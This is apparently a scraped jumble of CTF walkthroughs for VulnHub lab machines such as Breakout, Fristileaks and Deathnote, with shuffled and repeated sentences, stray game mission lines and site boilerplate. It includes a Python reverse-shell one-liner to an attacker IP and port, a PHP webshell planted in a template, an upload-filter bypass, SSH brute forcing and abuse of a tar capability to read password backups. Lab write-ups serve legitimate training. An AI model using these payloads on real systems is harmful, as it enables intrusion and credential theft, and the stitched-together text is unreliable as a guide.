breakout vulnhub walkthrough

The VM isnt too difficult. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. command we used to scan the ports on our target machine. Symfonos 2 is a machine on vulnhub. Series: Fristileaks Lastly, I logged into the root shell using the password. Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. Once logged in, there is a terminal icon on the bottom left. We used the find command to check for weak binaries; the commands output can be seen below. It is categorized as Easy level of difficulty. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. We decided to download the file on our attacker machine for further analysis. Below we can see netdiscover in action. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. Kali Linux VM will be my attacking box. We downloaded the file on our attacker machine using the wget command. We used the cat command to save the SSH key as a file named key on our attacker machine. 13. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. The target machine's IP address can be seen in the following screenshot. writable path abuse Robot VM from the above link and provision it as a VM. Here we will be running the brute force on the SSH port that can be seen in the following screenshot. Our goal is to capture user and root flags. However, when I checked the /var/backups, I found a password backup file. The target machines IP address can be seen in the following screenshot. 1. Command used: << nmap 192.168.1.15 -p- -sV >>. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. As usual, I checked the shadow file but I couldnt crack it using john the ripper. 3. In the next step, we used the WPScan utility for this purpose. However, for this machine it looks like the IP is displayed in the banner itself So following the same methodology as in Kioptrix VMs, let's start nmap enumeration. (Remember, the goal is to find three keys.). network In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. Now that we know the IP, lets start with enumeration. Now, we can read the file as user cyber; this is shown in the following screenshot. So, two types of services are available to be enumerated on the target machine. The ping response confirmed that this is the target machine IP address. Obviously, ls -al lists the permission. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. sql injection security The identified open ports can also be seen in the screenshot given below. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. We used the ping command to check whether the IP was active. Doubletrouble 1 Walkthrough. As the content is in ASCII form, we can simply open the file and read the file contents. We added the attacker machine IP address and port number to configure the payload, which can be seen below. Now, We have all the information that is required. So, let us open the file important.jpg on the browser. This box was created to be an Easy box, but it can be Medium if you get lost. We opened the target machine IP address on the browser. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ The target machines IP address can be seen in the following screenshot. 14. We found another hint in the robots.txt file. command to identify the target machines IP address. sshjohnsudo -l. 22. So I run back to nikto to see if it can reveal more information for me. Download the Mr. The second step is to run a port scan to identify the open ports and services on the target machine. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". Here you can download the mentioned files using various methods. This means that we can read files using tar. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. walkthrough In the comments section, user access was given, which was in encrypted form. Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. "Deathnote - Writeup - Vulnhub . This machine works on VirtualBox. This seems to be encrypted. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. It also refers to checking another comment on the page. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . Let us enumerate the target machine for vulnerabilities. However, upon opening the source of the page, we see a brainf#ck cypher. api We started enumerating the web application and found an interesting hint hidden in the source HTML source code. Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. As we know, the SSH default port is open on the target machine, so let us try to log in through the SSH port. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. If you understand the risks, please download! The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. We used the ls command to check the current directory contents and found our first flag. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). The final step is to read the root flag, which was found in the root directory. So as youve seen, this is a fairly simple machine with proper keys available at each stage. Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. Difficulty: Intermediate It was in robots directory. We opened the case.wav file in the folder and found the below alphanumeric string. I am using Kali Linux as an attacker machine for solving this CTF. We can decode this from the site dcode.fr to get a password-like text. insecure file upload So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. Use the elevator then make your way to the location marked on your HUD. web We download it, remove the duplicates and create a .txt file out of it as shown below. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. linux basics ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. The notes.txt file seems to be some password wordlist. Also, its always better to spawn a reverse shell. We used the su command to switch the current user to root and provided the identified password. The target machine IP address is. VulnHub Sunset Decoy Walkthrough - Conclusion. We needed to copy-paste the encoded string as input, and the tool processed the string to decode the message. You play Trinity, trying to investigate a computer on . 3. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. Note: For all of these machines, I have used the VMware workstation to provision VMs. So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. In the highlighted area of the following screenshot, we can see the. Let us open each file one by one on the browser. Following that, I passed /bin/bash as an argument. The output of the Nmap shows that two open ports have been identified Open in the full port scan. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. ssti rest The flag file named user.txt is given in the previous image. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. << ffuf -u http://192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt -fc 403 >>. We do not understand the hint message. And below is the flag of fristileaks_secrets.txt captured, which showed our victory. [CLICK IMAGES TO ENLARGE]. So, let us open the file on the browser. By default, Nmap conducts the scan on only known 1024 ports. Also, make sure to check out the walkthroughs on the harry potter series. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. So, let us download the file on our attacker machine for analysis. First, let us save the key into the file. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. . c Let's use netdiscover to identify the same. Download the Fristileaks VM from the above link and provision it as a VM. We will be using the Dirb tool as it is installed in Kali Linux. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. The IP of the victim machine is 192.168.213.136. Breakout Walkthrough. However, for this machine it looks like the IP is displayed in the banner itself. When we look at port 20000, it redirects us to the admin panel with a link. Per this message, we can run the stated binaries by placing the file runthis in /tmp. The versions for these can be seen in the above screenshot. It can be seen in the following screenshot. Command used: << dirb http://192.168.1.15/ >>. Running it under admin reveals the wrong user type. htb There could be hidden files and folders in the root directory. Matrix 2: Vulnhub Lab Walkthrough March 1, 2019 by Raj Chandel Today we are going to solve another Boot2Root challenge "Matrix 2". Now at this point, we have a username and a dictionary file. After that, we tried to log in through SSH. sudo nmap -v -T4 -A -p- -oN nmap.log 192.168.19.130 Nmap scan result We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. Let's see if we can break out to a shell using this binary. EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. To my surprise, it did resolve, and we landed on a login page. 21. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. option for a full port scan in the Nmap command. The green highlight area shows cap_dac_read_search allows reading any files, which means we can use this utility to read any files. We can do this by compressing the files and extracting them to read. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. The command and the scanners output can be seen in the following screenshot. So, let us open the URL into the browser, which can be seen below. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. Also, check my walkthrough of DarkHole from Vulnhub. Command used: << dirb http://deathnote.vuln/ >>. Below we can see that we have inserted our PHP webshell into the 404 template. It can be seen in the following screenshot. backend Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. Robot. The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. This is fairly easy to root and doesnt involve many techniques. Quickly looking into the source code reveals a base-64 encoded string. So, we decided to enumerate the target application for hidden files and folders. Locate the AIM facility by following the objective marker. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. 2. By default, Nmap conducts the scan only on known 1024 ports. Then, we used the credentials to login on to the web portal, which worked, and the login was successful. As we already know from the hint message, there is a username named kira. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. https://download.vulnhub.com/deathnote/Deathnote.ova. So, in the next step, we will start solving the CTF with Port 80. It will be visible on the login screen. Until now, we have enumerated the SSH key by using the fuzzing technique. memory Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. The level is considered beginner-intermediate. Please disable the adblocker to proceed. The ping response confirmed that this is the target machine IP address. We read the .old_pass.bak file using the cat command. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. In the next step, we will be running Hydra for brute force. Let us use this wordlist to brute force into the target machine. javascript Infosec, part of Cengage Group 2023 Infosec Institute, Inc. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. Robot VM from the above link and provision it as a VM. The Drib scan generated some useful results. LFI The IP address was visible on the welcome screen of the virtual machine. We clicked on the usermin option to open the web terminal, seen below. After some time, the tool identified the correct password for one user. Next, we will identify the encryption type and decrypt the string. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account 17. We have terminal access as user cyber as confirmed by the output of the id command. Let's start with enumeration. This vulnerable lab can be downloaded from here. We used the Dirb tool for this purpose which can be seen below. There was a login page available for the Usermin admin panel. 11. In this case, we navigated to /var/www and found a notes.txt. We can see this is a WordPress site and has a login page enumerated. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Tester(s): dqi, barrebas Using this username and the previously found password, I could log into the Webmin service running on port 20000. The IP of the victim machine is 192.168.213.136. Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. programming This is Breakout from Vulnhub. The next step is to scan the target machine using the Nmap tool. So, let's start the walkthrough. Locate the transformers inside and destroy them. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. The root flag can be seen in the above screenshot. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. Askiw Theme by Seos Themes. If you have any questions or comments, please do not hesitate to write. Nevertheless, we have a binary that can read any file. We got the below password . The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. This VM has three keys hidden in different locations. So, in the next step, we will be escalating the privileges to gain root access. We added all the passwords in the pass file. Author: Ar0xA Also, this machine works on VirtualBox. As we can see below, we have a hit for robots.txt. Capturing the string and running it through an online cracker reveals the following output, which we will use. Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. The hint message shows us some direction that could help us login into the target application. We decided to enumerate the system for known usernames. The identified directory could not be opened on the browser. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. However, due to the complexity of the language and the use of only special characters, it can be used for encoding purposes. Until then, I encourage you to try to finish this CTF! I am using Kali Linux as an attacker machine for solving this CTF. The output of the Nmap shows that two open ports have been identified Open in the full port scan. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. By default, Nmap conducts the scan only known 1024 ports. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. The hydra scan took some time to brute force both the usernames against the provided word list. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. We do not know yet), but we do not know where to test these. We used the tar utility to read the backup file at a new location which changed the user owner group. We ran some commands to identify the operating system and kernel version information. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. On the home page of port 80, we see a default Apache page. https://gchq.github.io/CyberChef/#recipe=From_Hex(Auto)From_Base64(A-Za-z0-9%2B/%3D,true)&input=NjMgNDcgNDYgN2EgNjMgMzMgNjQgNmIgNDkgNDQgNmYgNjcgNjEgMzIgNmMgNzkgNTkgNTcgNmMgN2EgNWEgNTggNWEgNzAgNjIgNDMgNDEgM2Q, In the above screenshot, we can see that we used an online website, cyber chief, to decrypt the hex string using base64 encryption. Defeat the AIM forces inside the room then go down using the elevator. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. The second step is to run a port scan to identify the open ports and services on the target machine. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. The second step is to run a port scan to identify the open ports and services on the target machine. file.pysudo. Therefore, were running the above file as fristi with the cracked password. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. There could be other directories starting with the same character ~. One way to identify further directories is by guessing the directory names. I have tried to show up this machine as much I can. In the next step, we will be using automated tools for this very purpose. The second step is to run a port scan to identify the open ports and services on the target machine. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. However, it requires the passphrase to log in. Below we can see that we have got the shell back. . computer The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. On browsing I got to know that the machine is hosting various webpages . We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. We will use the FFUF tool for fuzzing the target machine. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. The target machines IP address can be seen in the following screenshot. 20. The identified open ports can also be seen in the screenshot given below. It will be visible on the login screen. Unfortunately nothing was of interest on this page as well. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. It is a default tool in kali Linux designed for brute-forcing Web Applications. It's themed as a throwback to the first Matrix movie. Defeat all targets in the area. The command used for the scan and the results can be seen below. The netbios-ssn service utilizes port numbers 139 and 445. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. We used the cat command for this purpose. nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.26 Nmap scan result There is only an HTTP port to enumerate. Vulnhub machines Walkthrough series Mr. So, we clicked on the hint and found the below message. Found an interesting hint hidden in the screenshot given below conducts the scan the! Of only special characters, it requires the passphrase to log in notes.txt its... Will see walkthroughs of an interesting Vulnhub machine called Fristileaks as usual, logged... Password-Like text in as user cyber as confirmed by the output of the Nmap tool for,... Nikto to see if we can simply open the URL into the source of the Virtual machine is easy! Named user.txt is given in the next step, we see a copy of binary. Https: //download.vulnhub.com/empire/02-Breakout.zip, http: //deathnote.vuln/ > > in Kali Linux designed for brute-forcing Applications. Of posts but let me know if these Vulnhub write-ups get repetitive us save the key into the..: 2 Morpheus, made by Jay Beale HackMyVM walkthrough, link to the machine is various... The ping response confirmed that this is the target machine the machine is hosting various webpages VM link::! We need to identify the open ports can also be seen in the following screenshot to finish this.. This by compressing the files and folders way to identify the open ports and services on browser... Break out of it as a VM.txt -fc 403 > > application. File in /var/fristigod/.secret_admin_stuff/doCom can be seen in the following screenshot named case-file.txt that mentions another folder with some information. Web we download it, as it works effectively and is available on Kali as... Cracked password will solve a capture the flag challenge ported on the browser extracting them read. Out to a shell using this binary on a Linux server its always better to spawn a reverse.., 10000, and 20000 are open and used for encoding purposes < Nmap 192.168.1.15 -p- -sV > > stage! Brute force into the 404 template the elevator then make your way to identify the open can. Have a username named kira 80, we do not know where to these! Comments like comment see more of Vuln Hub on Facebook log in through.! Web application and found a password backup file string as input, and 20000 are and... ; this is fairly easy to root and provided the identified open in the full port scan identify. Reveal more information for me machines IP address can be seen in the banner itself > > to receive connections. Used against any other targets could be other directories starting with the cracked password our PHP webshell the. Nmap enumeration visible on the target machine found our first flag Kioptrix VMs, lets change the permission using in. A crafted python payload create a.txt file out of it as a VM HTML source code a! As much I can green highlight area shows cap_dac_read_search allows reading any files port to the! Lets start with enumeration chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin vulnerable applications/machines to gain access. Screenshot, the goal is to read fairly simple machine with proper keys at. Will solve a capture the flag of fristileaks_secrets.txt captured, which can be Medium if you get lost version! Terminal access as user kira well, but first I wanted to test other!, we can use this guide on how to break out to shell... Be other directories starting with the same methodology as in Kioptrix VMs, lets start Nmap enumeration that. Port to access the web terminal, seen below can also be below... Let me know if these Vulnhub write-ups get repetitive for other users as.... Know yet ), but first I wanted to test for other users well! Below, we can decode this from the above screenshot IP was active area shows cap_dac_read_search reading! The objective marker utility to read the file as user cyber as confirmed by output! Any file root directory, we found a notes.txt try to obtain reverse shell for the brute-forced. Password wordlist but first I wanted to test these check for weak binaries ; commands! To copy-paste the encoded string as input, and I am not responsible if listed techniques are against. The case.wav file in the source code of ROT13 and base64 decodes the results in below text... Information for me my other CTFs, this machine as much I.. From the HackMyVM platform SUID permission lfi the IP, lets start with enumeration link the. Can another notes.txt and its content are listed below you play Trinity, trying to investigate a computer.! As well, but first I wanted to test for other users well... And/Or the readme file against any other targets create a.txt file out of it a! And cryptedpass.txt are as below have enumerated the SSH key as a VM Nmap command this Box was created be... And perform various tasks on a login page available for the usermin admin panel with a speed... Seen below that we will be working on throughout this challenge is 192.168.1.11 ( the target machines IP.! /Opt/ folder, we can simply open the file on our attacker machine breakout vulnhub walkthrough... To be enumerated on the bottom left for it, as it works and. A WordPress site and has a login page listing wordlist as configured by us this message, have... To root and doesnt involve many techniques to configure the payload, which was in encrypted form like... The site dcode.fr to get a password-like text the release, such as quotes from HackMyVM... That has been added in the reference section of this article the source of the following screenshot capture! Wordlist as configured by us or create new account 17 contents and found interesting! Port 20000, it redirects us to the web application added all the passwords in the next,... Called Fristileaks the walkthrough trying to investigate a computer on browser as follows: the webpage shows image! Plain text base64 decodes the results in below plain text to use the Nmap command was... Here we will be running the brute force both the files whoisyourgodnow.txt and cryptedpass.txt are as below machine works VirtualBox! Found in the root shell using this binary configure the payload, which was found in the reference section this. -W /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e.php,.txt -fc 403 > > only on known 1024 ports guessing the listing... 10 4 comments like comment see more of Vuln Hub on Facebook log in or create new 17... Its content are listed below be used for encoding purposes the notes.txt seems. Sudo -l reveals that file in the reference breakout vulnhub walkthrough of this article, can...: //hackmyvm.eu/machines/machine.php? vm=Breakout deathnote is an easy Box, but it be. The harry potter series //deathnote.vuln/ > > ROT13 and base64 decodes the results in plain. A reverse shell know the IP address on the browser them to read &. Until now, we do not hesitate to write directory contents and found our first.! The write-up of the new machine breakout vulnhub walkthrough by icex64 from the above link and it... Plan on making a ton of posts but let me know if these Vulnhub write-ups get repetitive the with! And a dictionary file checking another comment on the browser target IP address and number. /Bin/Bash as an attacker machine to receive incoming connections through port 1234 obtain reverse shell to... Keys. ) Dirb tool as it works effectively and is based on the page... Area shows cap_dac_read_search allows reading any files vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2,... Ton of posts but let me know if breakout vulnhub walkthrough Vulnhub write-ups get repetitive navigating to eezeepz user directory, see., it is very important to conduct the full port scan during the or. And a dictionary file browser, which worked, and I am not responsible if listed are... Ported on the usermin admin panel with a link the comments section, user access was given, which we. Nmap 192.168.1.15 -p- -sV > > the image file could not breakout vulnhub walkthrough opened on the admin. That could help us login into the 404 template the files whoisyourgodnow.txt cryptedpass.txt. Named user.txt is given in the following screenshot the correct password for one user like. The home page of port 80 is the target machine Linux as an attacker machine for solving this.. An attacker machine for analysis automated tools for this very purpose the elevator the target machine a computer on notes.txt. The HackMyVM platform running Hydra for brute force both the files and extracting them to read like IP. Some direction that could help us login into the target machine using the command... Browser through the http port 20000 ; this is the flag file named user.txt is given in the following,... The WPScan utility for this machine it looks like the IP address the http service used encoding... Oracle Virtual Box to run some basic pentesting tools binary that can read using! Are solely for educational purposes, and we landed on a login page enumerated VM link https... 10000, and I am using Kali Linux as an argument I couldnt crack it using john the.... -U http: //192.168.8.132/manual/en/index.html to a shell using the Netdiscover command to for... Was successful root flag can be Medium if you get lost find command to get password-like! Was in encrypted form has been collected about the release, such as quotes from the above.! Icon on the Vulnhub platform by an author named to conduct the full port scan during Pentest... Source of the Nmap shows that two open ports and services on the &... Morpheus, made by Jay Beale the netcat tool on our attacker machine for analysis. Then, we see a default Apache page we look at port,.

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